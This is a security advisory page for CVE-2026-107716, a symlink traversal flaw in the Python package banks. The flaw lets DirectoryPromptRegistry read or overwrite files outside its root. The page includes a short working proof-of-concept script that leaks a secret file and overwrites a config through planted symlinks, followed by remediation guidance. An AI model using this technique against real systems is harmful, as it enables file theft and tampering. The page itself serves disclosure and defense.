CVE-2026-107716 — banks
Fix: masci/banks@23ed13eCVE-2026-107716 is a Path Traversal vulnerability in banks. A fix is available for banks — see the affected versions and patch details below.
Banks: Symlink traversal and arbitrary file disclosure/overwrite in DirectoryPromptRegistry
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-107716.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
banksReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
In banks.registries.DirectoryPromptRegistry, prompt file paths and the index file (index.json) do not refuse symbolic links. When a prompt directory contains or accepts untrusted files (e.g. unpacked archives, shared repositories, or multi-tenant folders), symbolic links pointing outside the registry root can be used to disclose arbitrary files via _scan() / get() or overwrite arbitrary files via set() / _save().
Details
Following PR #77, DirectoryPromptRegistry validates path resolution for prompt names. However:
self._index_path(index.json) is not checked for symbolic links. A symlink pointing to an external target (e.g. a configuration file) will be overwritten by_save()uponreg.set(), or read via_load().- In
_scan(), discovered.jinjafiles are opened and indexed without checking ifpath.is_symlink()or if the resolved path escapes the registry root. A symlink pointing to a sensitive file outside the root is read and indexed. - In
set(),prompt_file.write_text(...)is called without checking ifprompt_fileis an existing symbolic link pointing outside the root.
Impact
Arbitrary file disclosure (CWE-59 / CWE-200) and arbitrary file overwrite (CWE-59) in applications where prompt directories can be influenced by untrusted users or extracted from archives.
Proof of Concept
import os
from pathlib import Path
from banks.registries.directory import DirectoryPromptRegistry, DEFAULT_INDEX_NAME
from banks.prompt import Prompt
# Disclose external file via symlink in prompt directory
reg_dir = Path("/tmp/registry")
reg_dir.mkdir(exist_ok=True)
secret = Path("/tmp/secret.txt")
secret.write_text("SECRET_API_TOKEN")
os.symlink(secret, reg_dir / "leak.0.jinja")
reg = DirectoryPromptRegistry(reg_dir, force_reindex=True)
print("Disclosed content:", reg.get(name="leak", version="0").raw)
# Overwrite external file via symlink index
target = Path("/tmp/target.conf")
target.write_text("ORIGINAL")
(reg_dir / DEFAULT_INDEX_NAME).unlink(missing_ok=True)
os.symlink(target, reg_dir / DEFAULT_INDEX_NAME)
reg.set(prompt=Prompt("pwn", name="test", version="1"))
print("Target overwritten:", target.read_text())
Remediation
- In
_validate_index_path(): verify_index_pathis not a symlink and resolves within_path. - In
_scan(): rejectpath.is_symlink()and checkpath.resolve().is_relative_to(root). - In
set(): reject existing symbolic links before writing.
A tested fix and regression tests have been prepared and pushed to: https://github.com/jankesec/banks/tree/fix-directory-registry-symlinks-and-nesting
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | banks | all versions | 2.5.1pip install --upgrade 'banks==2.5.1' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for banks, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update banks to 2.5.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-107716 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
This vulnerability is evaluated with an Important severity because an attacker can achieve both high-impact data leakage and unauthorized file modification by abusing symbolic link resolution outside the intended registry directory. Within Red Hat products utilizing the Banks library, such as Lightspeed services,…
Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.Source: Red Hat security advisory for CVE-2026-107716 (CC BY 4.0)
Frequently Asked Questions
Is CVE-2026-107716 in your dependencies?
Find it across PyPI, including transitive dependencies.